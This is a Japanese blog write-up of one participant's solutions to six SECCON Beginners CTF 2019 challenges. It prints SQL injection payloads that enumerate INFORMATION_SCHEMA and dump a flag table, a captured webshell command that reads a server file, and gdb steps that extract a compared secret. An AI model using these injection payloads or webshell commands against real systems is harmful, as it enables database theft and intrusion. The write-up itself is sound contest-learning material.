https://2018.seccon.jp/2019/05/2nd-seccon-beginners-ctf.html
令和CTFに引き続き、今度はBeginners for CTFに参加してみました！
開催時間は 2019/05/25 15:00～2019/05/26 15:00 の24時間。
某ブラウザゲーのイベントを走りつつ解いてました。楽しかった。

結果

535points/181st! ぼっち参加です。
6問解けました。正直思ったよりは解けたかなって感じです。次はもっと取れるようにがんばりたい。

[warmup] Ramen (Web/73p)

問題

ラーメン https://ramen.quals.beginners.seccon.jp

解答

"モダンなラーメン屋さん" のサイトらしいです。ラメーン。
店員を検索できるフォームがあるので、とりあえずシングルクォートを入れると php エラーが。
明らかに SQLi の問題です。

' or '1'='1 を入れると全員（元から表示されていた店員）出てくるだけだったので、
他にテーブルがあるんだろうなと予想。テーブル出すとこから始めました。

入力

' UNION SELECT null, table_name FROM INFORMATION_SCHEMA.TABLES; #

名前	一言
せくこん太郎	1970年ry
せくこん次郎	せくこんry
せくこん三郎	せくこんry
	CHARACTER_SETS
	COLLATIONS
	(略)
	flag
	members

入力

' UNION SELECT null, flag FROM flag; #

# 列名は勘

名前	一言
せくこん太郎	1970年ry
せくこん次郎	せくこんry
せくこん三郎	せくこんry
	ctf4b{a_simple_sql_injection_with_union_select}

出た！

flag

ctf4b{a_simple_sql_injection_with_union_select}

katsudon (Web/101p)

問題

Rails 5.2.1で作られたサイトです｡

https://katsudon.quals.beginners.seccon.jp

クーポンコードを復号するコードは以下の通りですが､まだ実装されてないようです｡

フラグは以下にあります｡ https://katsudon.quals.beginners.seccon.jp/flag
# app/controllers/coupon_controller.rb
class CouponController < ApplicationController
def index
end

def show
  serial_code = params[:serial_code]
  @coupon_id = Rails.application.message_verifier(:coupon).verify(serial_code)
  end
end

解答

バージョンが書いてあったので、パッと見てなにか有名な脆弱性とかを使うのかと思ったら違いました。
(追記：katsudon-okawariが脆弱性を使うものだったそうですね)
Rails のことは知らないので、とりあえずコード内の Rails.application.message_verifier でググる。
すると、こんな説明が見つかりました。

RailsではMessageVerifierをCookieで改ざんのチェックに利用していて、署名をつけたメッセージを作成と、メッセージの署名を検証するのに利用されています。
他にはパスワード再発行メールでのトークンなどにも使われているそうです。

そのあとにActiveSupport::MessageVerifier.generateで引数に渡したRubyオブジェクトを文字列化しBase64エンコードした文字列と、Base64エンコードしたものを鍵と組み合わせてSHA1でハッシュ化した文字列を--で繋げます。

試しに、問題のクーポンコードの --より前の部分をデコードしてみます。

$ echo "BAhJIhByZWl3YWhhbnRlbgY6BkVU" | base64 -d
I"reiwahanten:ET
$ echo "BAhJIhNoZWlzZWlzaG9rdWRvdQY6BkVU" | base64 -d
I"heiseishokudou:ET
$ echo "BAhJIhRyZXN0YXVyYW50c2hvd2EGOgZFVA==" | base64 -d
I"restaurantshowa:ET

それっぽいメッセージが出てきました。
同様にフラグの前半部分もデコードして終了です。

flag

$ echo "BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU" | base64 -d
I"%ctf4b{K33P_Y0UR_53CR37_K3Y_B453}:ET

参考

RailsのMessageVerifierの内部実装を追ってみた

[warmup] Seccompare (Reversing/57p)

問題

https://score.beginners.seccon.jp/files/seccompare_44d43f6a4d247e65c712d7379157d6a9.tar.gz

解答

URLから落ちてくるものを解凍すると、拡張子なしのファイルが入っています。file コマンド曰く、ELF ファイルとのこと。
ELF ファイルに触ったことがなかったので、点数が低いわりに解けなくてばたばたしてました。
よく分からなくてごちゃごちゃとやってますが、たぶんすごく大回りしてます。

とりあえず実行権限を付けて実行。

$ chmod 777 seccompare

$ ./seccompare
usage: ./seccompare flag

$ ./seccompare test
wrong

どうも引数とフラグを比較してる？みたいです。適当に入れてもダメっぽい。
「elf ctf」でググっていると、「IDA」とか「gdb」とかのツールをよく使うらしい。
ということでインストールしてみました。
まず「IDA Free」にseccompareを読ませると、実行の流れがフローっぽく表示されました。なるほど分かりやすい。
意味を調べつつざっと見て、strcmpで比較してから分岐して correct/wrong を出力する……という部分を見つけたので、
参考のサイトを真似して「gdb」で変数を見てみることにしました。

$ gdb

(gdb) file seccompare

(gdb) b *0x4006b6 // 比較する直前にブレークポイント設定
Breakpoint 1 at 0x4006b6

(gdb) set args test  // 引数を適当に「test」とする

(gdb) r  // ブレークポイントまで走らせる
Starting program: /home/saras/ctf4b/seccompare test

Breakpoint 1, 0x00000000004006b6 in main ()

(gdb) x/s $rdx  // rdx に入っている値を読む→引数だった
0x7fffffffe7e5: "test"

(gdb) x/s $rax  // raxに入っている値を読む→フラグ！
0x7fffffffe470: "ctf4b{5tr1ngs_1s_n0t_en0ugh}"

flag

ctf4b{5tr1ngs_1s_n0t_en0ugh}

参考

CTF for Beginners（オンライン）に参加したよ🍬 - ＊白百合めも＊
gdbの使い方のメモ - ももいろテクノロジー

[warmup] So Tired (Crypto/115p)

問題

最強の暗号を作りました。暗号よくわからないけどきっと大丈夫！

File: so_tired.tar.gz

解答

ファイルを解凍すると、encrypted.txtが入っていました。
末尾を見る限り base64 エンコードされていそうなので、デコードします。

$ base64 -d encrypted.txt > decrypt1

$ file decrypt1
decrypt1: zlib compressed data

次は zlib。コマンドが分からなかったので python で。

decrypt2.py

import zlib
with open("decrypt2", mode="w") as f:
	f.write(zlib.decompress(open("decrypt1").read()))

$ python decrypt2.py

$ file decrypt2
decrypt2: ASCII text, with very long lines, with no line terminators

とのことで、decrypt2を見てみるとまた base64 ぽい。

……このあと5つ目までひとつひとつデコードしてたのですが、どうも base64 と zlib を交互に繰り返しているようです。
タイトルを見るになかなか長そうなので、 python で一気にデコードしました。

decrypt.py

import zlib
import base64
import sys

def decode(text):
    dec = base64.b64decode(text)
    return dec
    
def zlib_b(zb):
    op = zlib.decompress(zb)
    return op

def end_func(dec):
    print("end!")
    with open("decrypt10", mode="w") as f:
        f.write(dec)
    sys.exit()

i = 6
with open("decrypt5", mode="r") as f:
    dec = f.read()
while True:
    print(i)
    try:
        if i % 2 == 0:
            dec = decode(dec)
        else:
            dec = zlib_b(dec)
            print(dec[:10])
        if "ctf4b" in dec[:20]:
            end_func(dec)
        i += 1
    except:
        end_func(dec)

(追記：他の方の解答を見るに、こんなに長々と書かなくてもできるみたいですね……)

flag

ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}

[warmup] Welcome (Misc/51p)

問題

SECCON Beginners CTFのIRCチャンネルで会いましょう。

IRC: freenode.net #seccon-beginners-ctf

解答

これはIRCチャンネルにログインするだけ。Welcome問題。

flag

ctf4b{welcome_to_seccon_beginners_ctf}

Dump (Misc/138p)

問題

Analyze dump and extract the flag!!

https://score.beginners.seccon.jp/files/fc23f13bcf6562e540ed81d1f47710af_dump

解答

ダウンロードできるファイルは pcap ファイルでした。
WebShell を使っている様子をキャプチャしてるみたいです。

WebShell に送信しているコマンドは以下。

hexdump%20%2De%20%2716%2F1%20%22%2502%2E3o%20%22%20%22%5Cn%22%27%20%2Fhome%2Fctf4b%2Fflag
↓ HTMLデコード
hexdump -e '16/1 "%02.3o " "?n"' /home/ctf4b/flag

レスポンス

037 213 010 000 012 325 251 134 000 003 354 375 007 124 023 133
327 007 214 117 350 115 272 110 047 012 212 122 223 320 022 252
...

投げているコマンドは、「8進数で3桁を16回繰り返して改行」みたいな意味らしいので、
長いレスポンスをバイナリとして保存すると、.tar.gz 形式で圧縮されていました。
解凍して、中身の jpeg ファイルに書かれているフラグをゲット。

flag

ctf4b{hexdump_is_very_useful}

所感（と解きかけの問題について）

楽しかったです！！！！！（二回目）Reversingのツールが面白かったので次はこの分野を勉強します。

解きかけになってしまったのは「Leakage」「Sliding puzzle」でした。
「Leakage」は IDA を使ってこのあたりでフラグと照合してる！というところまでは分かったものの、なにをすればいいか分からなくなって打ち止め。
「Sliding puzzle」はプログラムをデバッグしている間にタイムアップでした。途中まではうまく解けていたので、こっちは本当に悔しいです……。

次は会社の先輩方と別のCTFに参加する予定があるので、足を引っ張らないように頑張りたいです！